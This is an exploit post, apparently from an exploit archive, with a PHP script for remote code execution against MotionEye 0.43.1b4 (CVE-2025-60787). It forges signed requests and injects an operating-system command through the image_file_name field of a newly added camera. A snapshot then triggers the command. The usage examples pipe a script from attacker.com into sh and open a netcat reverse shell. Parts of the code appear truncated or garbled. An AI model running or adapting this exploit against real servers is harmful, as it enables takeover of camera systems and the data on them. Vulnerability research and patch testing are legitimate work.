============================================================================================================================================= | # Title : MotionEye Frontend 0.43.1b4 RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/motioneye-project/motioneye | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/210394/ & CVE-2025-60787 [+] Summary : Command Injection in Configuration Files - Unsanitized user input in the image_file_name parameter allows authenticated attackers to inject OS commands via $(command) syntax, leading to remote code execution. [+] POC : php motioneye_rce.php check https://target-motioneye.local php motioneye_rce.php check https://192.168.1.100 admin password123 target = rtrim($target, '/'); $this->username = $username; $this->password = $password; $this->cookies = []; $this->camera_id = null; } /** * Clean string according to MotionEye's canonicalization rules */ private function clean_string($data) { if ($data === null) { return ''; } if (!is_string($data)) { $data = (string)$data; } // Regex from MotionEye source code $signature_regex = '/[^A-Za-z0-9\/?_.=&{}\[\]":, -]/'; return preg_replace($signature_regex, '-', $data); } /** * Compute SHA1 signature for MotionEye requests */ private function compute_signature($method, $path, $body = null, $key = '') { // Parse URL $parsed = parse_url($path); $path_only = $parsed['path'] ?? ''; $query_str = $parsed['query'] ?? ''; // Parse query parameters $query_params = []; if ($query_str) { parse_str($query_str, $query_params); } // Remove _signature parameter unset($query_params['_signature']); // Sort parameters alphabetically ksort($query_params); // Build canonical query string $canonical_query = ''; foreach ($query_params as $k => $v) { if ($canonical_query !== '') { $canonical_query .= '&'; } $canonical_query .= $k . '=' . rawurlencode($v); } // Build canonical path $canonical_path = $path_only; if ($canonical_query !== '') { $canonical_path .= '?' . $canonical_query; } // Clean path and body $cleaned_path = $this->clean_string($canonical_path); $cleaned_body = $this->clean_string($body); // Compute key hash $key_hash = strtolower(sha1($key)); // Build data to hash $data = $method . ':' . $cleaned_path . ':' . $cleaned_body . ':' . $key_hash; return strtolower(sha1($data)); } /** * Generate timestamp in milliseconds */ private function generate_timestamp_ms() { return (int)(microtime(true) * 1000); } /** * Send HTTP request with MotionEye signature */ private function send_signed_request($method, $path, $data = null, $headers = []) { $url = $this->target . $path; // Add required GET parameters $get_params = [ '_username' => $this->username, '_' => $this->generate_timestamp_ms() ]; // Parse existing query string if present $parsed = parse_url($url); $base_url = $parsed['scheme'] . '://' . $parsed['host'] . ($parsed['port'] ? ':' . $parsed['port'] : '') . $parsed['path']; $existing_query = []; if (isset($parsed['query'])) { parse_str($parsed['query'], $existing_query); $get_params = array_merge($get_params, $existing_query); } // Build query string $query_str = http_build_query($get_params); $path_with_query = $parsed['path'] . '?' . $query_str; // Compute signature $signature = $this->compute_signature( strtoupper($method), $path_with_query, $data, $this->password ); // Add signature to query parameters $get_params['_signature'] = $signature; $query_str = http_build_query($get_params); // Build final URL $final_url = $base_url . '?' . $query_str; // Prepare request $ch = curl_init(); $options = [ CURLOPT_URL => $final_url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_SSL_VERIFYPEER => $this->verify_ssl, CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0, CURLOPT_HEADER => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', CURLOPT_HTTPHEADER => array_merge([ 'Accept: application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: en-US,en;q=0.5', 'Connection: close' ], $headers) ]; if (strtoupper($method) === 'POST') { $options[CURLOPT_POST] = true; if ($data !== null) { $options[CURLOPT_POSTFIELDS] = $data; // Detect content type if (is_array($data)) { $options[CURLOPT_POSTFIELDS] = http_build_query($data); $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/x-www-form-urlencoded'; } else { $options[CURLOPT_POSTFIELDS] = $data; if (json_decode($data) !== null) { $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/json'; } } } } // Add cookies if any if (!empty($this->cookies)) { $cookie_str = ''; foreach ($this->cookies as $name => $value) { $cookie_str .= $name . '=' . $value . '; '; } $options[CURLOPT_COOKIE] = rtrim($cookie_str, '; '); } curl_setopt_array($ch, $options); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $error = curl_error($ch); curl_close($ch); if ($response === false) { throw new Exception("cURL error: " . $error); } $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); // Extract and store cookies preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches); foreach ($matches[1] as $cookie) { $parts = explode('=', $cookie, 2); if (count($parts) == 2) { $this->cookies[$parts[0]] = $parts[1]; } } return [ 'code' => $http_code, 'headers' => $headers, 'body' => $body ]; } /** * Check if target is vulnerable */ public function check() { try { $ch = curl_init($this->target); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => $this->verify_ssl, CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code !== 200) { return ['vulnerable' => false, 'message' => 'Target not reachable or not MotionEye']; } // Look for motionEye version if (preg_match('/motionEye Version.*?]*>([^<]+) true, 'message' => "Vulnerable version detected: $version", 'version' => $version ]; } else { return [ 'vulnerable' => 'unknown', 'message' => "Newer version detected: $version. Check release notes.", 'version' => $version ]; } } return ['vulnerable' => false, 'message' => 'MotionEye version not found']; } catch (Exception $e) { return ['vulnerable' => false, 'message' => 'Error: ' . $e->getMessage()]; } } /** * Add a camera to MotionEye */ private function add_camera() { echo "[+] Adding malicious camera...\n"; $data = json_encode([ 'scheme' => 'rstp', 'host' => $this->generate_ip(), 'port' => '', 'path' => '/', 'username' => '', 'proto' => 'netcam' ]); $response = $this->send_signed_request( 'POST', '/config/add/', $data, ['Content-Type: application/json'] ); if ($response['code'] !== 200) { throw new Exception("Failed to add camera. HTTP {$response['code']}"); } $json = json_decode($response['body'], true); if (!$json || !isset($json['id'])) { throw new Exception("Invalid response when adding camera"); } $this->camera_id = $json['id']; echo "[+] Camera added successfully (ID: {$this->camera_id})\n"; return $this->camera_id; } /** * Configure camera with payload */ private function configure_camera($payload) { echo "[+] Configuring camera with payload...\n"; $camera_name = 'cam_' . bin2hex(random_bytes(4)); $config = [ 'enabled' => true, 'name' => $camera_name, 'proto' => 'netcam', 'auto_brightness' => false, 'rotation' => [0, 90, 180, 270][rand(0, 3)], 'framerate' => rand(2, 30), 'privacy_mask' => false, 'storage_device' => 'custom-path', 'root_directory' => "/var/lib/motioneye/{$camera_name}", 'upload_enabled' => false, 'upload_picture' => false, 'upload_movie' => false, 'upload_service' => ['ftp', 'sftp', 'webdav'][rand(0, 2)], 'upload_method' => ['post', 'put'][rand(0, 1)], 'upload_subfolders' => false, 'web_hook_storage_enabled' => false, 'command_storage_enabled' => false, 'text_overlay' => false, 'text_scale' => rand(1, 3), 'video_streaming' => false, 'streaming_framerate' => rand(5, 30), 'streaming_quality' => rand(50, 95), 'streaming_resolution' => rand(50, 95), 'streaming_server_resize' => false, 'streaming_port' => '9081', 'streaming_auth_mode' => 'disabled', 'streaming_motion' => false, 'still_images' => true, 'image_file_name' => "$({$payload})", // Payload injection point 'image_quality' => rand(50, 95), 'capture_mode' => 'manual', 'preserve_pictures' => '0', 'manual_snapshots' => true, 'movies' => false, 'movie_file_name' => '%Y-%m-%d/%H-%M-%S', 'movie_quality' => rand(50, 95), 'movie_format' => 'mp4 => h264_v4l2m2m', 'movie_passthrough' => false, 'recording_mode' => 'motion-triggered', 'max_movie_length' => '0', 'preserve_movies' => '0', 'motion_detection' => false, 'frame_change_threshold' => '0.' . rand(1000000000000000, 9999999999999999), 'max_frame_change_threshold' => rand(0, 1), 'auto_threshold_tuning' => false, 'auto_noise_detect' => false, 'noise_level' => rand(10, 32), 'light_switch_detect' => '0', 'despeckle_filter' => false, 'event_gap' => rand(5, 30), 'pre_capture' => rand(1, 5), 'post_capture' => rand(1, 5), 'minimum_motion_frames' => rand(20, 30), 'motion_mask' => false, 'show_frame_changes' => false, 'create_debug_media' => false, 'email_notifications_enabled' => false, 'telegram_notifications_enabled' => false, 'web_hook_notifications_enabled' => false, 'web_hook_end_notifications_enabled' => false, 'command_notifications_enabled' => false, 'command_end_notifications_enabled' => false, 'working_schedule' => false, 'resolution' => ['320x240', '640x480', '1280x720'][rand(0, 2)] ]; $data = json_encode([$this->camera_id => $config]); $response = $this->send_signed_request( 'POST', '/config/0/set/', $data, ['Content-Type: application/json'] ); if ($response['code'] !== 200) { throw new Exception("Failed to configure camera. HTTP {$response['code']}"); } echo "[+] Camera configured with payload\n"; } /** * Trigger the exploit by taking a snapshot */ private function trigger_exploit() { echo "[+] Triggering exploit...\n"; $response = $this->send_signed_request( 'POST', "/action/{$this->camera_id}/snapshot/", 'null', ['Content-Type: application/json'] ); if ($response['code'] !== 200) { throw new Exception("Failed to trigger exploit. HTTP {$response['code']}"); } echo "[+] Exploit triggered\n"; } /** * Remove the camera */ private function remove_camera() { if (!$this->camera_id) { return; } echo "[+] Removing camera...\n"; try { $response = $this->send_signed_request( 'POST', "/config/{$this->camera_id}/rem/", 'null', ['Content-Type: application/json'] ); if ($response['code'] === 200) { echo "[+] Camera removed successfully\n"; } } catch (Exception $e) { echo "[-] Error removing camera: " . $e->getMessage() . "\n"; } $this->camera_id = null; } /** * Generate random IP address */ private function generate_ip() { return rand(1, 254) . '.' . rand(0, 254) . '.' . rand(0, 254) . '.' . rand(1, 254); } /** * Execute exploit */ public function exploit($payload) { try { // Check target first $check = $this->check(); if (!$check['vulnerable']) { echo "[-] Target appears not to be vulnerable: " . $check['message'] . "\n"; return false; } echo "[+] Target appears to be vulnerable\n"; // Add camera $this->add_camera(); // Configure with payload $this->configure_camera($payload); // Trigger exploit $this->trigger_exploit(); echo "[+] Exploit completed. Check for callback.\n"; return true; } catch (Exception $e) { echo "[-] Exploit failed: " . $e->getMessage() . "\n"; // Clean up $this->remove_camera(); return false; } } /** * Clean up resources */ public function cleanup() { $this->remove_camera(); } public function __destruct() { $this->cleanup(); } } /** * Command-line interface */ if (php_sapi_name() === 'cli') { if ($argc < 2) { echo "MotionEye RCE Exploit (CVE-2025-60787)\n"; echo "Usage:\n"; echo " php {$argv[0]} check [username] [password]\n"; echo " php {$argv[0]} exploit [username] [password]\n"; echo "\nExamples:\n"; echo " php {$argv[0]} check https://192.168.1.100\n"; echo " php {$argv[0]} exploit https://192.168.1.100 'curl http://attacker.com/shell.sh|sh'\n"; echo " php {$argv[0]} exploit https://192.168.1.100 'nc -e /bin/bash 192.168.1.50 4444' admin password123\n"; exit(1); } $command = $argv[1]; $url = $argv[2] ?? ''; if ($command === 'check') { $username = $argv[3] ?? 'admin'; $password = $argv[4] ?? ''; $exploit = new MotionEyeRCE($url, $username, $password); $result = $exploit->check(); echo "Target: $url\n"; echo "Status: " . $result['message'] . "\n"; if (isset($result['version'])) { echo "Version: " . $result['version'] . "\n"; } } elseif ($command === 'exploit') { $payload = $argv[3] ?? ''; $username = $argv[4] ?? 'admin'; $password = $argv[5] ?? ''; if (!$payload) { echo "[-] Payload required for exploit command\n"; exit(1); } $exploit = new MotionEyeRCE($url, $username, $password); $exploit->exploit($payload); } else { echo "[-] Unknown command: $command\n"; exit(1); } } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================